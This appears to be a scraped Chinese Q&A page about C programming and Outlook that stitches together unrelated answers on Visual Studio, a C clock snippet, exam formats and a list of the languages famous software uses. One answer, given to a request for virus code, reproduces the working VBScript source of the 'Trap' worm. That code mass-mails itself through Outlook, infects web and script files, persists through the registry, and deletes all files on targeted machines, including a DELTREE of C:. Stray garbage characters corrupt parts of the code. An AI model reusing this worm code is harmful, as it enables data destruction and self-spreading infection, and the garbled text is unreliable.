當前位置:首頁 » 編程語言 » c語言outlook
擴展閱讀
webinf下怎麼引入js 2023-08-31 21:54:13
堡壘機怎麼打開web 2023-08-31 21:54:11

c語言outlook

發布時間: 2023-05-21 16:03:48

『壹』 尋找編寫c語言的軟體

Visual Studio C++
Visual Studio 是一套完整的開發工具集,用於生成 ASP.NET Web 應用程序、XML Web Services、桌面應用程序和移動應用程序。Visual Basic、Visual C++、Visual C# 和 Visual J# 全都使用相同的集成開發環境 (IDE),利用此 IDE 可以共享工具且有助於創建混合語言解決方案。另外,這些語言利用了 .NET Framework 的功能,通過此框架可使用簡化 ASP Web 應用程序和 XML Web Services 開發的關鍵技術。 創建滿足關鍵性要求的多層次的智能客戶端、Web、移動或基於Microsoft Office的應用程序。使用Visual Studio 2005, 專業開發人員能夠:
使用改進後的可視化設計工具、編程語言和代碼編輯器,享受高效率的開發環境
在統一的開發環境中,開發並調試多層次的伺服器應用程序
使用集成的可視化資料庫設計和報告工具,創建SQL Server 2005解決方案
使用Visual Studio SDK創建可以擴展Visual Studio IDE的工具
Microsoft為單獨工作或在小型團隊中的專業開發人員提供了兩種選擇,Visual Studio 2005 Professional Edition和用於Microsoft Office系統的Visual Studio 2005工具。每種版本都在標准版的特性上進行了擴展,包括用於遠程服務程序開發和調試、SQL Server2005開發的工具,以及完整的、沒有限制的開發環境。每種產品都可以單獨購買或打包定購。
專業開發人員喜歡自由的使用.NET Framework 2.0,它是一種穩健的、功能齊備的開發環境,支持創建擴展Visual Studio集成開發環境的工具。
[編輯本段]主要部分

公共語言運行庫
運行庫實際上在組件的運行時和開發時操作中都起到很大的作用,盡管名稱中沒有體現這個意思。在組件運行時,運行庫除了負責滿足此組件在其他組件上可能具有的依賴項外,還負責管理內存分配、啟動和停止線程和進程,以及強制執行安全策略。在開發時,運行庫的作用稍有變化;由於做了大量的自動處理工作(如內存管理),運行庫使開發人員的操作非常簡單,尤其是與今天的 COM 相比。特別是反射等功能顯著減少了開發人員為將業務邏輯轉變為可重用組件而必須編寫的代碼量。
統一編程類
該框架為開發人員提供了統一的、面向對象的、分層的和可擴展的類庫集 (API)。目前,C++ 開發人員使用 Microsoft 基礎類,而 Java 開發人員使用 Windows 基礎類。該框架統一了這些完全不同的模型,還為 Visual Basic 和 JScript 程序員提供了對類庫的訪問。通過創建跨所有編程語言的公共 API 集,公共語言運行庫使得跨語言繼承、錯誤處理和調試成為可能。從 JScript 到 C++ 的所有編程語言具有對框架的相似訪問,開發人員可以自由選擇它們要使用的語言。
ASP.NET
ASP.NET 建立在 .NET Framework 的編程類的基礎上,為 Web 應用程序模型提供了一組可簡化 Web 應用程序生成的控制項和基礎結構。ASP.NET 包括可用於封裝通用 HTML 用戶界面元素(如文本框、按鈕和列表框)的一組控制項。但這些控制項在 Web 伺服器上運行,並以 HTML 的形式將其用戶界面呈現在瀏覽器中。在伺服器上,這些控制項公布面向對象的編程模型,該模型為 Web 開發人員提供面向對象編程的豐富功能。ASP.NET 還提供基礎結構服務,如狀態管理和進程回收,從而可以進一步減少開發人員必須編寫的代碼數量,並提高應用程序的可靠性。另外,ASP.NET 使用這些同樣的概念使開發人員能夠以服務的形式交付軟體。使用 XML Web Services 功能,ASP.NET 開發人員可以編寫他們的業務邏輯,並使用 ASP.NET 基礎結構通過 SOAP 交付該服務。有關更多信息,請參見使用託管代碼進行 XML Web services 編程簡介。
[編輯本段]內容

應用程序
Visual Studio 集成環境包括用於目標設備(如 PDA 和 Smartphone)的工具。改進功能包括 Visual C++ 工具和本機設備運行庫、託管設計器(提供改進的特定於平台的 WYSIWYG 和多種外觀設置支持)、新的模擬程序、類似於桌面的數據處理工具,以及最終用戶部署項目(消除 .inf 文件的手動編輯工作)。有關更多信息,請參見智能設備項目中的新增功能。

Web 窗體

Web 窗體是用於創建可編程網頁的 ASP.NET 技術。Web 窗體將自己呈現為瀏覽器兼容的 HTML 和腳本,這使任何平台上的任何瀏覽器都可以查看 Web 頁。使用 Web 窗體,通過將控制項拖放到設計器上然後添加代碼來創建 Web 頁,與創建 Visual Basic 窗體的方法相似。有關更多信息,請參見 ASP.NET 網頁概述。

Windows 窗體

Windows 窗體用於在 .NET Framework 上創建 Microsoft Windows 應用程序。此框架提供一個有條理的、面向對象的、可擴展的類集,使您能夠開發功能豐富的 Windows 應用程序。另外,Windows 窗體可作為多層分布式解決方案中的本地用戶界面。有關更多信息,請參見 Windows 窗體介紹。

XML Web services

XML Web Services 是可以通過 HTTP 使用 XML 接收請求和數據的應用程序。XML Web Services 並不依賴於特定的組件技術或對象調用約定,因此可以通過任何語言、組件模型或操作系統進行訪問。在 Visual Studio 中,可以使用 Visual Basic、Visual C#、JScript 或 ATL Server 快速創建和包含 XML Web Services。有關更多信息,請參見使用託管代碼進行 XML Web services 編程簡介。

XML 支持

可擴展標記語言 (XML) 提供描述結構數據的方法。XML 是為在 Web 上傳送而進行優化了的 SGML 的子集。萬維網聯合會 (W3C) 定義了 XML 標准以使結構化數據保持統一並獨立於應用程序。Visual Studio 完全支持 XML,同時提供了 XML 設計器,使得更容易編輯 XML 和創建 XML 架構。有關更多信息,請參見 XML 設計器。
[編輯本段]系統要求
1 支持的體系結構
x86
x64 (WOW)
2. 支持的操作系統
Microsoft Windows XP
Microsoft Windows Server 2003 Service Pack 2
Microsoft Windows Server 2008
Windows Vista
Windows 7
3. 硬體要求
最低要求:1.6 GHz CPU,192 MB 內存,1024x768 顯示器,5400 RPM 硬碟
建議配置:2.2 GHz 或更快的 CPU,384 MB 或更大的內存,1280x1024 顯示器,7200 RPM 或更快的硬碟
在 Windows Vista 上:2.4 GHz CPU,768 MB 內存
完全安裝需要 1.3 GB 可用磁碟空間
[編輯本段]歷史沿革

Visual Studio 6.0
1998 年,微軟公司發布了 Visual Studio 6.0。所有開發語言的開發環境版本均升至 6.0。這也是 Visual Basic 最後一次發布,從下一個版本 (7.0) 開始,Microsoft Visual Basic 進化成了一種新的面向對象的語言:Microsoft Visual Basic.NET。由於微軟公司對於 Sun 公司 Java 語言擴充導致與 Java 虛擬機不兼容而 被Sun 告上法庭,微軟在後續的 Visual Studio 中不再包括面向 Java 虛擬機的開發環境。

Visual Studio .NET
2002 年 Visual Studio .NET(內部版本號為 7.0)。在這個版本的 Visual Studio 中,微軟剝離了 Visual FoxPro 作為一個單獨的開發環境以 Visual FoxPro 7.0 單獨銷售,同時取消了 Visual InterDev。與此同時,微軟引入了建立在 .NET 框架上(版本1.0)的託管代碼機制以及一門新的語言 C# (讀作 C Sharp,意為 C++++)。C# 是一門建立在 C++ 和 Java 基礎上的現代語言,是編寫 .NET 框架的語言。NET 的通用語言框架機制(Common Language Runtime, CLR),其目的是在同一個項目中支持不同的語言所開發的組件。所有 CLR 支持的代碼都會被解釋成為 CLR 可執行的機器代碼然後運行。 Visual Basic、Visual C++ 都被擴展為支持託管代碼機制的開發環境,且 Visual Basic .NET更是從 Visual Basic 脫胎換骨,徹底支持面向對象的編程機制。而 Visual J++ 也變為 Visual J#。後者僅語法同 Java 相同,但是面向的不是 Java 虛擬機,而是 .NET Framework。

Visual Studio 2003
2003 年,微軟對 Visual Studio 2002 進行了部分修訂,以 Visual Studio 2003 的名義發布(內部版本號為 7.1)。Visio 作為使用統一建模語言(UML)架構應用程序框架的程序被引入,同時被引入的還包括移動設備支持和企業模版。.NET 框架也升級到了 1.1。

Visual Studio 2005

2005 年,微軟發布了 Visual Studio 2005。.NET 字眼從各種語言的名字中被抹去,但是這個版本的 Visual Studio 仍然還是面向 .NET 框架的(版本2.0)。它同時也能開發跨平台的應用程序,如開發使用微軟操作系統的手機的程序等。總體來說是一個非常龐大的軟體,甚至包含代碼測試功能。這個版本的 Visual Studio 包含有眾多版本,分別面向不同的開發角色。同時還永久提供免費的 Visual Studio Express 版本。

Visual Studio 2008
Microsoft Visual Studio 2008 使開發人員能夠快速創建高質量、用戶體驗豐富而又緊密聯系的應用程序,充分展示了 Microsoft 開發智能客戶端應用程序的構想。藉助 Visual Studio 2008,採集和分析信息將變得更為簡單便捷,業務決策也會因此變得更為有效。任何規模的組織都可以使用 Visual Studio 2008 快速創建能夠利用 Windows Vista™ 和 2007 Office system 的更安全、更易於管理並且更可靠的應用程序。
Visual Studio 2008 在三個方面為開發人員提供了關鍵改進:
1.快速的應用程序開發
2.高效的團隊協作
3.突破性的用戶體驗

Visual Studio 9
隨著即將發布的 Windows Vista (內部名稱:Longhorn) 和 Office 2007,Visual Studio 9 也漸漸浮出水面。Visual Studio 9 目前可以確定的是支持建立於 DHTML 基礎上的 AJax 技術,這種微軟在 Visual InterDev 時代提出的基於非同步的客戶端動態網頁技術在當年並沒有像微軟預期中的那麼流行起來,反而隨著 GMail 等應用而東山再起,漸漸成為主流網路應用之一。同時 Visual Studio 9 會強化對於資料庫的支持以及微軟新的基於工作流(Workflow)的編程模型。預計為了保持與 Office 系列的統一,Visual Studio 9 的名稱為 Visual Studio 2008。2008年,Visual Studio9也就是Visual Studio 2008將和Windows Server 2008同時發布。

Visual Studio 2010
Visual Studio 是微軟公司推出的開發環境。是目前最流行的 Windows 平台應用程序開發環境。目前已經開發到 10.0 版本。
Visual Studio 2008 提供了高級開發工具、調試功能、資料庫功能和創新功能,幫助在各種平台上快速創建當前最先進的應用程序。
Visual Studio 2008 包括各種增強功能,例如可視化設計器(使用 .NET Framework 3.5 加速開發)、對 Web 開發工具的大量改進,以及能夠加速開發和處理所有類型數據的語言增強功能。Visual Studio 2008 為開發人員提供了所有相關的工具和框架支持,幫助創建引人注目的、令人印象深刻並支持 AJAX 的 Web 應用程序。
開發人員能夠利用這些豐富的客戶端和伺服器端框架輕松構建以客戶為中心的 Web 應用程序,這些應用程序可以集成任何後端數據提供程序、在任何當前瀏覽器內運行並完全訪問 ASP.NET 應用程序服務和 Microsoft 平台。
快速的應用程序開發
為了幫助開發人員迅速創建先進的軟體,Visual Studio 2008 提供了改進的語言和數據功能,例如語言集成的查詢 (LINQ),各個編程人員可以利用這些功能更輕松地構建解決方案以分析和處理信息。
Visual Studio 2008 還使開發人員能夠從同一開發環境內創建面向多個 .NET Framework 版本的應用程序。開發人員能夠構建面向 .NET Framework 2.0、3.0 或 3.5 的應用程序,意味他們可以在同一環境中支持各種各樣的項目。
突破性的用戶體驗
Visual Studio 2008 為開發人員提供了在最新平台上加速創建緊密聯系的應用程序的新工具,這些平台包括 Web、Windows Vista、Office 2007、SQL Server 2008 和 Windows Server 2008。對於 Web,ASP.NET AJAX 及其他新技術使開發人員能夠迅速創建更高效、互動式更強和更個性化的新一代 Web 體驗。
高效的團隊協作
Visual Studio 2008 提供了幫助開發團隊改進協作的擴展的和改進的服務項目,包括幫助將資料庫專業人員和圖形設計人員加入到開發流程的工具。
使用 Microsoft .NET Framework 3.5
.NET Framework 提供了用於解決常見編程任務的構建基塊(預制的軟體),從而能夠快速構造具有出色的最終用戶體驗的緊密聯系的應用程序。在 .NET Framework 模型業務流程上有效構建的緊密聯系的應用程序有利於在異類環境中實現系統集成。
Visual Studio 和 .NET Framework 的結合使用減少了對公用管道代碼的需要,從而縮短了開發時間並使開發人員能夠集中精力解決業務問題。
.NET Framework 3.5 是在 .NET Framework 3.0 的基礎上構建的更高版本。得到增強的功能領域包括基類庫、Windows workflow foundation、Windows Communication Foundation、Windows Presentation Foundation 和 Windows CardSpace。
開發人員使用 Visual Studio 2008 專業版能夠:集成的單元測試能夠更有效的驗證應用程序。應用程序的單元測試能夠幫助我們在開發過程的早期輕松發現大量的問題。現在,Visual Studio 2008 專業版中集成了單元測試功能,以前這個功能只在 Visual Studio Team System 產品中提供。
使用 Microsoft Office 系統開發用戶熟悉的應用程序。Visual studio 2008 專業版現在包括了Visual Studio Tools For Office, 這意味著我們的應用程序能夠輕松融合世界上最流行的軟體產品 -- -- Microsoft Office System。比如,開發人員能夠直接將ERP的信息集成到 Office Outlook 的任務面板,這樣用戶就能夠更輕松的訪問到商務決策。
讓您的用戶能夠使用到 Windows Mobile 的應用程序。Visual Studio 2008 專業版讓 Mobile 應用程序的開發變得更加簡單。全新的設備模擬器能夠自動化測試場景,讓您在近似於真實環境中進行應用程序的開發,比如:信號衰弱或電量不足。Mobile 開發人員能夠充分利用到一些更高級的特性,比如:LINQ 和單元測試。開發人員現在能夠擴展和整合用戶體驗,將豐富的多媒體用戶體驗發布到任何能夠訪問 Internet 的設備上。

『貳』 C語言中怎樣調用系統時間並動態顯示

//////////////////////////////////////////////////////////////////////////
//Createddate:2017/04/01
//Filename:豎宏ctest.c
//Author:[email protected]
//Description:
//////////////////////////////////////////////////////////////////////////

#include<time.h>
intmain(intargc,char*argv[])
{
chardate[32];
chartime[32];
余含冊while(1){
_strdate(date);
_strtime(time);
老伍printf(" %s%s",date,time);
}
return0;
}

跑起來CPU佔用可能有點高,夠你用的了~

『叄』 如何在電腦上安裝C語言。

1、下載好一個安裝包,並解壓。

『肆』 c語言二級考試的情況

先是考筆試,筆試的話占總分的60%,筆試卷面分是100,是最後才折算成總分的60%,這山斗100分是這樣分布的:總共有24題選擇題,但是其實程序不多的,它基本上一個程序下面有四題選埋旦擇題;選擇題每小題3分,共72分,最後兩題編程,共28分,編程的話,第一題一般考的都是數列求和,第二題考的基本都是調用函數。。上機考的話,占總分的40%,前三題是一級考的內容,文件操作和windows操作二擇一,excel和ppt二擇一,outlook和IE二擇一,後面就是兩題程序調試題和兩題程序編程題。。。
其實樓主現在應該考完了吧。。。。我也是423那天考的,希望咱們都能過吧。。。祈禱。。。^_^
另外,站長團上逗液磨有產品團購,便宜有保證

『伍』 電腦程序outlook是不是c語言

電腦程序outlook是不是c語言

不笑檔一定的,彎裂後來開發的系統肯定不是C。
現在新版本埋升閉的OFFICE是net framework環境的。

『陸』 給個C語言病毒代碼.....要復制的....越長越好

下面就對「陷阱」的發作過程和源代碼作詳細的揭密。
病毒具有自身加密能力(使用 JavaScript 編碼技術),使得普通用戶無法看到病毒原碼,但在被感染 VBS 文件中並沒有加密,於是作為一個入口點,我非常輕松地得到所有源碼。叢賀畢

'@ thank you! make use of other person to get rid of an enemy, trap _2001

'這句話的意思可能是「借刀殺人」,然後是病毒名稱「陷阱」

on error resume next

dim vbscr, fso,w1,w2,MSWKEY,HCUW,Code_Str, Vbs_Str, Js_Str

dim defpath, smailc, MAX_SIZE

dim whb(), title(10)

smailc = 4

Redim whb(smailc) 』白宮相關人員郵件名單

whb(0) = "[email protected]"

whb(1) = "[email protected] "

whb(2) = "[email protected]"滲芹

whb(3) = "[email protected]"

'發送郵件的主題

title(0) = "Thanks for helping me!"

title(1) = "The police are investigating the robbery"

title(2) = "an application for a job "

title(3) = "The aspects of an application process pertinent to OSI"

title(4) = "What a pleasant weather. Why not go out for a walk?"

title(5) = "These countries have gone / been through too many wars"

title(6) = "We've fixed on the 17th of April for the wedding"

title(7) = "The wind failed and the sea returned to calmness."

title(8) = "the sitting is open!"

title(9) = ""

defpath = "C:\Readme.html" ' 病毒文件

MAX_SIZE = 100000 ' 定義傳染文件的最大尺寸

MSWKEY = "HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Windows\"

HCUW = "HKEY_CURRENT_USER\Software\Microsoft\拍寬WAB\"

main

sub main() '主程序

on error resume next

dim w_s

w_s= WScript.ScriptFullName '得到病毒文件本身的路徑

if w_s = "" then

Err.Clear

set fso = CreateObject("Scripting.FileSystemObject") '創建文件系統對象

if getErr then '辨認病毒狀態

Randomize '初始化隨機種子

ra = int(rnd() * 7) '產生隨機數

doucment.write title(ra) ' 寫隨機內容

ExecuteMail '執行郵件狀態時的程序

else

ExecutePage '執行 WEB 頁狀態時的程序

end if

else

ExecuteVbs '執行 VBS 文件狀態時的程序

end if

end sub

Function getErr() 忽略錯誤

if Err.number<>0 then

getErr=true

Err.Clear

else

getErr=false

end if

end function

sub ExecutePage() 'WEB 頁狀態時的程序

on error resume next

dim Html_Str, adi, wdf, wdf2,wdf3,wdsf, wdsf2, vf

Vbs_Str = GetScriptCode("vbscript") '得到 VBScript 代碼

Js_Str = GetJavaScript() ' 得到 Javascript 代碼

Code_Str = MakeScript(encrypt(Vbs_str),true) '得到已加密過的腳本代碼

Html_Str = MakeHtml(encrypt(Vbs_str), true) '得到已加密的完整HTML代碼

Gf

'定義病毒文件的路徑

wdsf = w2 & "Mdm.vbs"

wdsf2 = w1 & "Profile.vbs"

wdf = w2 & "user.dll" ' 注意 wdf 和 wdf3 兩個文件非常迷惑人

wdf2 = w2 & "Readme.html"

wdf3 = w2 & "system.dll"

'創建病毒文件

set vf = fso.OpenTextFile (wdf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf, 2, true)

vf.write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdsf2, 2, true)

vf.Write Vbs_Str

vf.close

set vf = fso.OpenTextFile (wdf2, 2, true)

vf.write Html_Str

vf.close

set vf = fso.OpenTextFile (wdf3, 2, true)

vf.write Code_Str

vf.close

修改注冊表,讓病毒文件在每一次計算機啟動自動執行

Writereg MSWKEY & "CurrentVersion\Run\Mdm", wdsf, ""

Writereg MSWKEY & "CurrentVersion\RunServices\Profile", wdsf2, ""

SendMail ' 執行發送郵件程序

Hackpage ' 執行感染網站程序

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then '遍歷所有本地硬碟和網路共享硬碟

call SearchHTML(x & "\") '執行文件感染程序

end if

next

if TestUser then '檢查用戶

Killhe 執行刪除文件操作

else

if Month(Date) & Day(Date) = "75" then '如系統時間為 7月5日

set vf = fso.OpenTextFile(w2 & "75.htm", 2,true) 』創建系統攻擊文件

vf.write MakeScript ("window.navigate ('c:/con/con');", false)

vf.close

Writereg MSWKEY & "CurrentVersion\Run\75", w2 & "75.htm", "" '自動啟動

window.navigate "c:/con/con" '立刻藍屏,利用 Windows BUG,能引起 Win9X 系統100%死機(即無法恢復的藍屏)

else '如不是7.5

if fso.FileExists(w2 & "75.htm") then fso.DeleteFile w2 & "75.htm" ' 刪除75.htm

end if

end if

if fso.FileExists(defpath) then fso.DeleteFile defpath ' 刪除 C:\Readme.html 病毒文件

end sub

sub ExecuteMail() '郵件狀態時執行的程序

on error resume next

Vbs_Str = GetScriptCode("vbscript")

Js_Str = GetJavaScript()

Set Stl = CreateObject("Scriptlet.TypeLib") '創建 TypeLib對象

with Stl

.Reset

.Path = defpath

.Doc = MakeHtml(encrypt(Vbs_str), true)

.Write() '創建 C:\Readme.html 文件

end with

window.open defpath, "trap", "width=1 height=1 menubar=no scrollbars=no toolbar=no" 打開會隱藏的窗口

end sub

sub ExecuteVbs() ' 同理,如病毒文件是 VBS 時所執行的程序

on error resume next

dim x, adi, wvbs, ws, vf

set fso = CreateObject("Scripting.FileSystemObject")

set wvbs = CreateObject("WScript.Shell")

Gf

wvbs.RegWrite MSWKEY & "Windows Scripting Host\Setings\Timeout", 0, "REG_DWORD"

set vf = fso.OpenTextFile (w2 & "system.dll", 1)

Code_Str = vf.ReadAll()

vf.close

Hackpage

SendMail

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 or x.DrivesType = 3 then

call SearchHTML(x & "\")

end if

next

if TestUser then Killhe

end sub

sub Gf() '得到系統路徑

w1=fso.GetSpecialFolder(0) & "\"

w2=fso.GetSpecialFolder(1) & "\"

end sub

function Readreg(key_str) '讀注冊表

set tmps = CreateObject("WScript.Shell")

Readreg = tmps.RegRead(key_str)

set tmps = Nothing

end function

function Writereg(key_str, Newvalue, vtype) '寫注冊表

set tmps = CreateObject("WScript.Shell")

if vtype="" then

tmps.RegWrite key_str, Newvalue

else

tmps.RegWrite key_str, Newvalue, vtype

end if

set tmps = Nothing

end function

function MakeHtml(Sbuffer, iHTML) '創建HTML 文件的完整代碼

dim ra

Randomize

ra = int(rnd() * 7)

MakeHtml="<" & "HTML><" & "HEAD><" & "TITLE>" & title(ra) & "</" & "TITLE><" & "/HEAD>" & _

"<BO" & "AD>" & vbcrlf & MakeScript(Sbuffer, iHTML) & vbcrlf & _

"<" & "/BOAD><" & "/HTML>"

end Function

function MakeScript(Codestr, iHTML) '此程序是病毒進行自我加密過程,較為復雜,不再描述

if iHTML then

dim DocuWrite

DocuWrite = "document.write('<'+" & "'SCRIPT Language=JavaScript>\n'+" & _

"jword" & "+'\n</'" & "+'SCRIPT>');"

DocuWrite = DocuWrite & vbcrlf & "document.write('<'+" & "'SCRIPT Language=VBScript>\n'+" & _

"nword" & "+'\n</'" & "+'SCRIPT>');"

MakeScript="<" & "SCRIPT Language=JavaScript>" & vbcrlf & "var jword = " & _

chr(34) & encrypt(Js_Str) & chr(34) & vbcrlf & "var nword = " & _

chr(34) & Codestr & chr(34) & vbcrlf & "nword = unescape(nword);" & vbcrlf & _

"jword = unescape(jword);" & vbcrlf & DocuWrite & vbcrlf & "</" & "SCRIPT>"

else

MakeScript= "<" & "SCRIPT Language=JavaScript>" & Codestr & "</" & "SCRIPT>"

end if

end function

function GetScriptCode(Languages) ' 得到不同腳本語言的代碼

dim soj

for each soj in document.scripts

if LCase(soj.Language) = Languages then

if Languages = "javascript" then

if len(soj.Text)> 200 then

else

GetScriptCode = soj.Text

exit function

end if

else

GetScriptCode = soj.Text

exit function

end if

end if

next

end function

function GetJavaScript()

GetJavaScript = GetScriptCode("javascript")

end function

function TestUser() '檢測用戶過程

on error resume next

dim keys(6), i, tmpStr, Wnet

'特定用戶關鍵詞

keys(0) = "white home"

keys(1) = "central intelligence agency"

keys(2) = "bush"

keys(3) = "american stock exchang"

keys(4) = "chief executive"

keys(5) = "usa"

TestUser = false

Set Wnet = CreateObject("WScript.Network") '創建網路對象

'下面一共3個循環,作用一樣,是檢查用戶的 Domain、用戶名和計算機名是否含有以上的5個關鍵詞語,一旦含有程序將返回」真」的條件,從而對這些用戶的文件進行瘋狂刪除。

tmpStr = LCase(Wnet.UserName) '

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.ComputerName)

for i=0 to 4

if InStr(tmpStr, keys(i)) > 0 then

TestUser=true

exit function

end if

next

tmpStr = LCase(Wnet.UserDomain)

for i=0 to 4

if InStr(tmpStr, keys(i)) >0 then

TestUser=true

exit function

end if

next

Set Wnet = Nothing

end function

function SendMail() '發送文件過程

on error resume next

dim wab,ra,j, Oa, arrsm, eins, Eaec, fm, wreg, areg,at

'首先向 OutLook 地址簿發送帶能直接感染文件的已加密的病毒代碼和HTML 附件

主題是隨機的,此過程與「歡樂時光「類似,所以不再描述
Randomize

at=fso.GetSpecialFolder(1) & "\Readme.html"

set Oa = CreateObject("Outlook.Application")

set wab = Oa.GetNameSpace("MAPI")

for j = 1 to wab.AddressLists.Count

eins = wab.AddressLists(j)

wreg=Readreg (HCUW & eins)

if (wreg="") then wreg = 1

Eaec = eins.AddressEntries.Count

if (Eaec > Int(wreg)) then

for x = 1 to Eaec

arrsm = wab.AddressEntries(x)

areg = Readreg(HCUW & arrsm)

if (areg = "") then

set fm = wab.CreateItem(0)

with fm

ra = int(rnd() * 7)

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Attachments at

.Send

Writereg HCUW & arrsm, 1, "REG_DWORD"

end with

end if

next

end if

Writereg HCUW & eins, Eaec, ""

next

'下面是對指定的用戶無條件發送大量病毒郵件, 從這一點可看出病毒作者對美國政府的極度不滿。

for j = 1 to smailc

arrsm = whb(j)

set fm = wab.CreateItem(0)

ra = int(rnd() * 7)

with fm

.Recipients.Add arrsm

.Subject = title(ra)

.Body = title(ra)

.Send

end with

next

set Oa = Nothing

window.setTimeout "SendMail()", 5000 '每隔 5 秒種重復發送

end function

sub SearchHTML(Path) '搜索可傳染文件的過程

on error resume next

dim pfo, psfo, pf, ps, pfi, ext

if instr(Path, fso.GetSpecialFolder(2)) > 0 then exit sub

if Path <> "E:\" then exit sub

set pfo = fso.GetFolder(Path)

set psfo = pfo.SubFolders

for each ps in psfo

SearchHTML(ps.Path)

set pf = ps.Files

for each pfi in pf

ext = LCase(fso.GetExtensionName(pfi.Path))

if instr(ext, "htm") > 0 or ext = "plg" or ext = "asp" then '檢查文件的擴展名是否為 htm、html、plg 如是則檢查是否被感染,如未被感染則將已加密的病毒代碼插入文件頭,這樣文件一旦執行也會執行病毒代碼,而且不會影響原文件的正常執行。

if Code_Str<>"" then AddHead pfi.Path, pfi, 1

elseif ext= "vbs" then '如是 vbs 文件,則插入未加密的病毒代碼

AddHead pfi.Path,pfi, 2

end if

next

next

end sub

sub Killhe() '全盤刪除文件過程

on error resume next

dim codeText, ko,adi, kd, kh, ks,kf,kfs

codeText = "@ECHO OFF" & vbcrlf & "PATH " & w1 & "COMMAND" & vbcrlf &_

"DELTREE c:\" '將刪除C盤的命令插入Autoexec.bat 中,下次開機時,刪除整個硬碟,並沒有任何提示

set ko = fso.OpenTextFile("C:\Autoexec.bat", 8, true)

ko.Write vbcrlf & codeText

ko.Close

'接著立刻刪除其它盤的所有文件

set adi = fso.Drives

for each x in adi

if x.DrivesType = 2 then

set kd = fso.GetFolder(x & "\")

set kfs = kd.Files

for each kf in kfs

kf.Delete

next

set ks = kd.SubFolders

for each kh in ks

kh.Delete

next

end if

next

do while 1 '讓系統立刻死機

window.open ""

loop

end sub

sub Hackpage() ' 此過程是直接攻擊 Mircosoft IIS 伺服器主頁過程

dim fi

H = "C:\InetPut\wwwroot"

if fso.FolderExists(H) then

'判斷是否為網站,如是則將已加密的帶病毒代碼插入文件頭,從而直接傳染瀏覽該網站的用戶

set fi = fso.GetFile(H & "\index.htm")

AddHead H & "\index.htm",fi,1

end if

end sub

sub AddHead(Path, f, t) '此過程是病毒傳染文件具體過程

on error resume next

dim tso, buffer,sr

if f.size > MAX_SIZE then exit sub '傳染大小小於100K的文件

set tso = fso.OpenTextFile(Path, 1, true)

buffer = tso.ReadAll()

tso.close

if (t = 1) then

if UCase(Left(LTrim(buffer), 7)) <> "<SCRIPT" then

set tso = fso.OpenTextFile(Path, 2, true)

tso.Write Code_Str & vbcrlf & buffer '插入到文件頭

tso.close

end if

else

if mid(buffer, 3, 2) <> "'@" then

tso.close

sr=w2 & "user.dll"

if fso.FileExists(sr) then fso.CopyFile sr, Path

end if

end if

end sub

雖然病毒發作日已過但我們還是要小心提防病毒的變種出現。

『柒』 C語言編程題

void getWords(int n)
{
char s[]="Word,Excel,Powerpoint,Outlook,Access,InfoPath,Publisher,Sharepoint"空扮桐;

int i,cnt,last;
s[strlen(s)]=',';
s[strlen(s)]='\斗坦0';

for(i=0,cnt=0,last=-1;cnt<缺褲n&&i<strlen(s);i++)
{
if(s[i]==',')
{
cnt++;
if(cnt!=n)
{
last=i;
}
}
}
for(int k=last+1;k<i-1;k++)
{
printf("%c",s[k]);
}
}
如需調用庫函數版本請追問

『捌』 一些著名的軟體都用什麼語言編寫

一、操作系統:

Microsoft Windows : 匯編 -> C -> C++

備註:曾經在智能手機的操作系統(Windows Mobile)考慮摻點C#寫的程序,比如軟鍵盤,結果因為寫出來的程序太慢,實在無法和別的模塊合並,最終又回到C++重寫。

相信很多朋友都知道Windows Vista,這個系統開發早期比爾蓋茨想全部用C#寫,但是最終因為執行慢而放棄,結果之前無數軟體工程師日夜勞作成果一夜之間被宣告作廢。

Linux :C

Apple MacOS : 主要為C,部分為C++。 備註: 之前用的語言比較雜,最早是匯編和Pascal。

Sun Solaris : C

HP-UX : C

Symbian OS : 匯編,主要為局姿C++。 (諾基亞手機)

Google Android :2008 年推出: C語言(有傳言說是用Java開發的操作系統,但最近剛推出原生的C語言SDK)

RIM BlackBerry OS 4.x : 黑莓 C++



二、圖形界面層

Microsoft Windows UI : C++

Apple MacOS UI (Aqua) : C++

Gnome (Linux圖形界面之一,大腳): C和C++, 主要是C。

KDE (Linux圖形界面) ,C++。



三、桌面搜索工具

Google Desktop Search : C++

Microsoft Windows Desktop Search : C++

Beagle (Linux/Windows/UNIX 下): C# (基於開源的攜臘雹 .net : Mono)



四、辦公軟體

Microsoft Office :辯帆 在 匯編 -> C -> 穩定在C++

Sun Open Office : 部分JAVA(對外介面),主要為C++ (開源,可下載其源代碼)

Corel Office/WordPerfect Office : 1996年嘗試過Java,次年被拋棄,重新回到C/C++

Adobe Systems Acrobat Reader/Distiller : C++



五、關系型資料庫

Oracle : 匯編、C、C++、Java。主要為C++。

MySQL : C++

IBM DB2 : 匯編、C、C++,主要為C。

Microsoft SQL Server : 匯編 -> C->C++

IBM Informix : 匯編、C、C++,主要為C。

SAP DB/MaxDB : C++



六、Web Browsers/瀏覽器

Microsoft Internet Explorer : C++

Mozilla Firefox : C++

Netscape Navigator : The code of Netscape browser was written in C, and Netscape engineers, all bought to Java (see M. Cusumano book and article) redeveloped the browser using Java. It was too slow and abandoned. Mozilla, the next version, was later developed using C++.

Safari : (2003年1月發布)C++

Google Chrome : (2008的發布)C++

Sun HotJava : Java (死於1999年)

Opera : C++ (手機上佔用率比較大)

Opera Mini : Opera Mini (2007) has a very funny architecture, and is indeed using both C++ and Java. The browser is split in two parts, an ultra thin (less than 100Kb) "viewer" client part and a server side responsible of rendering. The first uses Java and receives the page under the OBML format, the latter reuses classical Opera (C++) rendering engine plus Opera's Small Screen Rendering, on the server. This allows Opera to penetrate various J2ME-enabled portable devices, such as phones, while preserving excellent response time. This comes obviously with a few sacrifices, for instance on JavaScript execution.

Mosaic : 鼻祖(已死) C 語言



七、郵件客戶端

Microsoft Outlook : C++

IBM Lotus Notes : Java

Foxmail : Delphi



八、軟體開發集成環境/IDE:

Microsoft Visual Studio : C++

Eclipse : Java (其圖形界面SWT基於C/C++)

Code::Blocks : C++

易語言: C++

火山中文: C++

火山移動: C++



九、虛擬機

Microsoft .Net CLR (.NET的虛擬機): C++

Java Virtual Machine (JVM) : Java 虛擬機:C++



